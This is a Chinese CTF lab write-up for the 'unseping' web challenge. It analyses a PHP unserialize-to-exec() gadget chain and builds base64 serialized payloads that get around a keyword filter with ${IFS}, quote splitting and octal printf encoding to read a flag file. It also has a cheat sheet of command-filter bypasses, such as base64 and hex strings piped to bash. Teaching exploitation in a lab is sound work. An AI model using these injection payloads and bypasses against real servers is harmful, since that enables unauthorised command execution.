攻防世界Web题 - unseping 总结

2023-11-16

攻防世界Web题 - unseping 总结

1、审题

进入题目,可以看出来是典型的php反序列化题目。

2、源代码分析

<?php
highlight_file(__FILE__);  //显示源代码

class ease{
    
    private $method;  //私有变量
    private $args;
    function __construct($method,$args) {  //创建对象时自动调用
        $this->method = $method;  //给私有变量赋值
        $this->args = $args;
    }
 
    function __destruct(){ //对象销毁时自动调用
        if (in_array($this->method, array("ping"))) {  //判断method变量是否等于"ping"
            //用一个数组作为参数调用一个回调函数,返回值为回调函数执行的结果或者为false。
            call_user_func_array(array($this, $this->method), $this->args);  
        }
    } 
 
    function ping($ip){
        exec($ip, $result);//执行系统命令
        var_dump($result);
    }

    function waf($str){
        if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {//过滤匹配
            return $str;
        } else {
            echo "don't hack";
        }
    }
 
    function __wakeup(){ //反序列化时自动调用
        foreach($this->args as $k => $v) { //遍历数组
            $this->args[$k] = $this->waf($v); //调用waf函数过滤数组中的所有值
        }
    }   
}

$ctf=@$_POST['ctf'];  //接受POST参数ctf
@unserialize(base64_decode($ctf));  //对ctf参数进行base64解码
?>

3、构建调用链

base64编码后的序列化字符串 >> unserialize() >> __wakeup() >> waf() >> __destruct() >> ping()
​
通过对源代码的分析,我们可以得出以下几点:
1、序列化字符串需要进行base64编码
2、私有变量 method="ping"
3、私有变量 args 是一个数组
​
涉及函数作用:
1、unserialize()  反序列化
2、__wakeup()     反序列化自动调用
3、__construct()  构建对象的时被调用,反序列化时不会调用该方法
4、__destruct()   明确销毁对象或脚本结束时被调用;
5、preg_match_all()        执行一个全局正则表达式匹配。
6、call_user_func_array()  调用回调函数,并把一个数组参数作为回调函数的参数

4、解题过程

构建序列化字符串:

<?php
class ease{
    private $method;  //私有变量
    private $args;
    function __construct($method,$args) {  //创建对象时自动调用
        $this->method = $method;  //给私有变量赋值
        $this->args = $args;
    }
}

//1、获取当前目录下的文件
$e = new ease("ping", array('l""s${IFS}-l'));  
echo base64_encode(serialize($e));
//执行后,获得当前目录下存在目录:flag_1s_here

//2、获取 flag_1s_here 目录下的文件
$e = new ease("ping", array('l""s${IFS}-l${IFS}fl""ag_1s_here'));  //获取当前目录下的文件
echo base64_encode(serialize($e));
//执行后,获得 flag_1s_here 目录下存在文件 flag_831b69012c67b35f.php,浏览器访问后没有反应,说明只能查看该文件

//3、查看flag_831b69012c67b35f.php文件的内容,因为 /、;、|、& 都已经被过滤了,这里采用8进制绕过
//把 cat flag_1s_here/flag_831b69012c67b35f.php 转为8进制如下:"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160"
$a = array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")');
$e = new ease("ping", $a);  
echo base64_encode(serialize($e));
//获取到flag:array(2) { [0]=> string(5) " string(47) "//$cyberpeace{e922462a49effa0bc1ac5410d01a89d2}" } 

5、绕过技巧说明

  1. linux下绕过空格技巧(因为空格被过滤,所以需要绕过空格)

    ${IFS}:在linux下,${IFS}是分隔符的意思,所以可以有${IFS}进行空格的替代。
    $IFS$9:$起截断作用,9为当前shell进程的第九个参数,始终为空字符串,所以同样能代替空字符串进行分割。
    $IFS$1
    <:>>和>都属于输出重定向,<属于输入重定向。
    <>
    {,}
  2. 关键字绕过

    Base64编码绕过:
    echo MTIzCg==|base64 -d     //打印123,MTIzCg==是123的base64编码
    echo "Y2F0IC9mbGFn"|base64 -d|bash //执行cat /flag
    echo "bHM="|base64 -d|sh           //将执行ls
    ​
    Hex编码绕过:
    echo "636174202f666c6167"|xxd -r -p|bash     将执行cat /flag
    $(printf "\x63\x61\x74\x20\x2f\x66\x6c\x61\x67")    执行cat /flag
    ​
    Oct编码绕过:
    $(printf "\143\141\164\40\151\156\144\145\170\56\160\150\160") 执行cat index.php
    $(printf "\154\163")       执行ls
    ​
    内联执行绕过:
    echo "a`pwd`"     # 输出a/opt
    cat$IFS$9`ls`     # 查看当前目录下的所有的文件内容
    ​
    引号绕过:
    ca""t  =>  cat
    mo''re  =>  more  
    ​
    反斜杠绕过:
    ca\t  =>  cat
    mo\re  =>  more  
    

这里给出一个字符串转8进制的pyhon脚本

# 字符串转8进制
str_1 = input("请输入要转换的字符串:")
str_8 = ""
for s in str_1:
    str_8 += str(oct(ord(s))).replace("0o", "\\")
print(str_8)

我这里用到的是 ${IFS} 空格绕过, 引号绕过,Oct编码绕过。

参考文档:远程命令/代码执行漏洞(RCE)总结_nigo134的博客-CSDN博客_远程代码执行漏洞

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

攻防世界Web题 - unseping 总结 的相关文章

  • Mysql加密/存储敏感数据,

    我的 PHP 网站有以下内容 启用 SSL 饼干 session set cookie params cookieParams lifetime cookieParams path cookieParams domain secure ht
  • 如何统计订单总价?

    我有这些表 Orders id status user id address id 1 await 1 1 products id name price quantity 1 test1 100 5 2 test2 50 5 order p
  • 获取资源 #id 3 错误

    当我运行此命令时 得到资源 id 3 结果 请查看我的代码并帮助我解决这个问题 拜托
  • 使用邮箱认证注册,只有30%激活?

    我正在使用 php 和 mysql 我的网站是 Flash 的 完整的 Flash 网站 我有一个允许用户注册的网站 注册过程包括发送 激活电子邮件 点击链接激活帐户 前两周还好 在大约 2000 个用户中 有 1800 个用户被激活 此后
  • 如何使用 Laravel 5.3 注销并重定向到登录页面?

    我正在使用 Laravel 5 3 并尝试实现身份验证系统 我用了php artisan命令make auth来设置它 我根据我的布局编辑了视图 并将其重定向到我的仪表板页面而不是主页 在设置中设置为默认值 现在 当我尝试注销时 它向我抛出
  • 如何从循环内的字符串中删除最后一个字符

    我正在尝试在 xml 中的一行中打印所选的不同类别 喜欢
  • 如何通过 md5 比较图像?

    该方法是否比较图像的像素值 我猜它不会起作用 因为它们的尺寸彼此不同 但如果它们相同但格式不同怎么办 例如 我截图并保存为 jpg另一个并保存为 gif MD5哈希是实际的二进制数据 因此不同的格式将具有完全不同的二进制数据 因此 要使 M
  • 为数据库生成随机 ID

    我对一个项目有一个要求 我需要生成唯一的 ID ID 必须大写 我无法检查数据库以查看 ID 是否已被使用过 我们预计每个月都会有数百万条记录添加到数据库中 我在这里尝试过解决方案 PHP 如何生成随机的 唯一的字母数字字符串 https
  • 将优惠券百分比添加到 WooCommerce 中的购物车页面

    我试图在购物车页面中显示优惠券百分比 但收到几个错误 这是我的自定义代码 Add Coupon Percentage to Cart function my coupon percentage cart value coupon if co
  • nginx + php-fpm = 找不到文件

    当我尝试访问时info php我得到一个File not found error 我尝试了一些教程但无济于事 配置 默认 server listen 80 listen 80 default ipv6only on server name
  • MySQL分层存储:搜索所有父母/祖父母等。给定子节点 id 的节点?

    我使用分层模型存储类别 如下所示 CATEGORIES id parent id name 1 0 Cars 2 0 Planes 3 1 Hatchbacks 4 1 Convertibles 5 2 Jets 6 3 Peugeot 7
  • 分页当前链接未突出显示

    我遇到了一个奇怪的问题 我当前的分页链接未突出显示 我制作的分页网址如下所示 site com list 50 some value 一切工作正常 但当前视图中的分页链接未突出显示 我检查了CSS 没问题 我猜问题出在库上 这是我的代码 我
  • 不要回显 cURL

    当我使用这段代码时 ch curl init url statuses curl exec ch curl close ch 我得到了我想要的东西 但如果我只是使用它 statuses被回显到页面上 我怎样才能阻止这个 将其放在第 2 行
  • PHP、in_array 和数组中的快速搜索(到最后)

    我对在数组中进行快速搜索的更好方法有疑问 我正在谈论一个特定的情况 假设我有一个数组 L A B C 当我开始时 当程序运行时 L 可能会增长 但到最后 当我进行搜索时 一个可能的原因是 L A B C D E 事实是 当我搜索时 我想要找
  • 将延期交货库存状态添加到 Woocommerce 可变产品下拉列表中

    我想在下拉菜单中显示可变产品的库存状态 包括 缺货 因为我网站上的大多数产品都缺货 而不是 缺货 我已经尝试过答案如何将变体库存状态添加到 Woocommerce 产品变体下拉列表中 https stackoverflow com ques
  • 如何更改数组键从 1 而不是 0 开始[重复]

    这个问题在这里已经有答案了 我在某个数组中有值 我想重新索引整个数组 以便第一个值键应该是 1 而不是零 即 默认情况下 PHP 中的数组键从 0 开始 即0 gt a 1 gt b 我想重新索引整个数组以从 key 1 开始 即1 gt
  • Yii:使用与控制器布局不同的布局渲染动作

    在 Yii 中 有没有办法使用不同的方式渲染单个动作layout比为控制器定义的值 我有一个操作希望其格式与其他操作不同 并且文档中不清楚这是否可能 我相信您可以调用该操作 layout多变的 public function actionY
  • 我可以使用 vim “star” 搜索来搜索 PHP 类成员和方法吗?

    vim 星号 星号搜索 help star 是一个很棒的功能 它可以让您找到光标所在单词的下一个出现位置 不幸的是 它将美元前缀视为字符串的一部分 因此如果我在类名中的 SearchTerm 上方按 它会在注释中找到 SearchTerm
  • 单击保存文件

    我希望能够通过单击下载 csv 文件 而不是在浏览器中打开 我把这段代码 a href file csv download file a 但单击它会在浏览器中打开 v 文件 在本地主机中 当我单击链接时 它正在下载 但在服务器上时 它在浏览
  • Laravel 中间件将变量返回给控制器

    我正在对用户进行权限检查 以确定他们是否可以查看页面 这涉及首先通过一些中间件传递请求 我遇到的问题是 在将数据返回到视图本身之前 我在中间件和控制器中复制相同的数据库查询 这是设置的示例 路线 php Route get pages id

随机推荐

  • OpenWRT中的按键和灯的GPIO控制实现

    原文地址 点击打开链接 基于BarrierBreaker版本 基于AR9331 AP121 Demo单板 来进行描述 1 灯 A 在mach ap121 c中 定义了灯所对应的GPIO定义 define AP121 GPIO LED WLA
  • 详解以太坊的工作原理

    这篇文章主要讲解以太坊的基本原理 对技术感兴趣的朋友可以看看 翻译作者 许莉 原文地址 How does Ethereum work anyway 简介 不管你们知不知道以太坊 Ethereum blockchain 是什么 但是你们大概都
  • [机器学习入门笔记] 3. 监督学习单模型部分

    文章目录 前言 1 机器学习预备知识 1 1 关键术语与任务类型 1 2 机器学习三要素 1 3 机器学习的核心 1 4 机器学习流程 第 2 章 线性回归 2 1 线性回归的原理推导 2 2 线性回归的代码实现 2 2 1 基于Numpy
  • 网站反爬虫requests获取不到数据怎么办?

    import requests import re content requests get https blog csdn net seanyang type blog headers content decode 想通过requests
  • HackerRank Triangle Quest 2

    给你一个正整数n 例如n 5 则输出 1 121 12321 1234321 123454321 思路 这就是1 11 111 1111 的平方 题目不让用字符串做 或者代码不能超过一行见代码 for i in range 1 int in
  • JSON与JAVA数据的相互转换

    先做个记号 JSON与JAVA数据的相互转换
  • MySQL中的事务

    系列文章目录 MySQL常见的几种约束 MySQL中的函数 文章目录 系列文章目录 前言 一 事务及其特征 1 事务的概念 2 事务的特性 1 原子性 2 一致性 3 隔离性 4 持久性 二 事务并发问题 1 脏读 Dirty read 2
  • html.4

    一 表格的结构标签 可以确定表格在浏览器中的位置 htead 代表表格的头部 tbody 代表表格的主体 tfoot 代表表格的尾部 shift alt 鼠标 选中没以后的相同位置
  • c++ char数组转string

    代码 char数组的路径转string的路径 void charArrayPath2string char char array path MAX PATH std string string path std stringstream s
  • Shell脚本函数应用

    记录 429 场景 Shell脚本函数应用 定义函数 函数调用 函数传参 版本 CentOS Linux release 7 9 2009 1 普通函数 示例普通函数是没有入参和返回值 1 1脚本 脚本名称 b2023051701 sh 脚
  • Android基础知识(二)简单控件

    一 文本显示 考虑到结构样式相分离的思想 我们往往在XML中设置文本
  • ABAP 向上取整和向下取整 CEIL & FLOOR

    ls taba 2 zjybs floor lv zlssl ls taba 2 bstrf 向上取整 CEIL 改为向下取整 FLOOR DATA a TYPE mseg menge b TYPE mseg menge c TYPE ms
  • shell 与用户交互

    bash shell如何获取命令行参数 添加到命令后的数据 命令行选项 确定命令行为的英文字母 键盘输入数据 操作命令行参数 1 读取参数 bash shell用位置参数变量 positional parameter 存储命令行输入的所有参
  • 第一次考CCF有感

    DWT来查寝时告诉我ccf能查分了 突然间就很紧张 很忐忑 我不知道我将面临的分数会是多少 说实话我幻想过400分 因为我感觉这次题目相比以前还是要简单一些的 毕竟图论都没考 表面上 2018 12 17 登上网址 查询成绩 这短短的几秒仿
  • 分库分表之拆分键设计

    众所周知 在现实世界中 每一个资源都有其提供能力的最大上限 当单一资源达到最大上限后就得让多个资源同时提供其能力来满足使用方的需求 同理 在计算机世界中 单一数据库资源不能满足使用需求时 我们也会考虑使用多个数据库同时提供服务来满足需求 当
  • spring-boot返回数据为null时返回空字符串

    在项目开发中 我们会遇到一些null值 如果不想让返回数据有null值 而是返回空字符串该怎么办捏 So Easy 我们做一下配置就好了 1 Jackson null值处理 spring boot是对Jackson默认支持的 所以有了web
  • (十一) 编译工具cmake

    文章目录 1 简单例子 2 管理工程 3 生成和使用共享库 3 1生成动态共享库 3 2引用库文件 4 其他 4 1环境变量 4 2系统信息 4 3 主要的开关选项 5 常用指令 5 1ADD DEFINITIONS 5 2 ADD DEP
  • k8s Unable to connect to the server: EOF 问题解决

    原因是K8s 没有启动成功 如下状态方位 启动成功 启动失败的原因多数是镜像下载失败 找到 Docker 的设置页面 在 Docker Engine 页面 将镜像网站的地址加入到右侧配置文件的 registry mirrors 节点下面 这
  • java毕业设计——基于java+Eclipse+jsp的网上手机销售系统设计与实现(毕业论文+程序源码)——网上手机销售系统

    基于java Eclipse jsp的网上手机销售系统设计与实现 毕业论文 程序源码 大家好 今天给大家介绍基于java Eclipse jsp的网上手机销售系统设计与实现 文章末尾附有本毕业设计的论文和源码下载地址哦 需要下载开题报告PP
  • 攻防世界Web题 - unseping 总结

    攻防世界Web题 unseping 总结 1 审题 进入题目 可以看出来是典型的php反序列化题目 2 源代码分析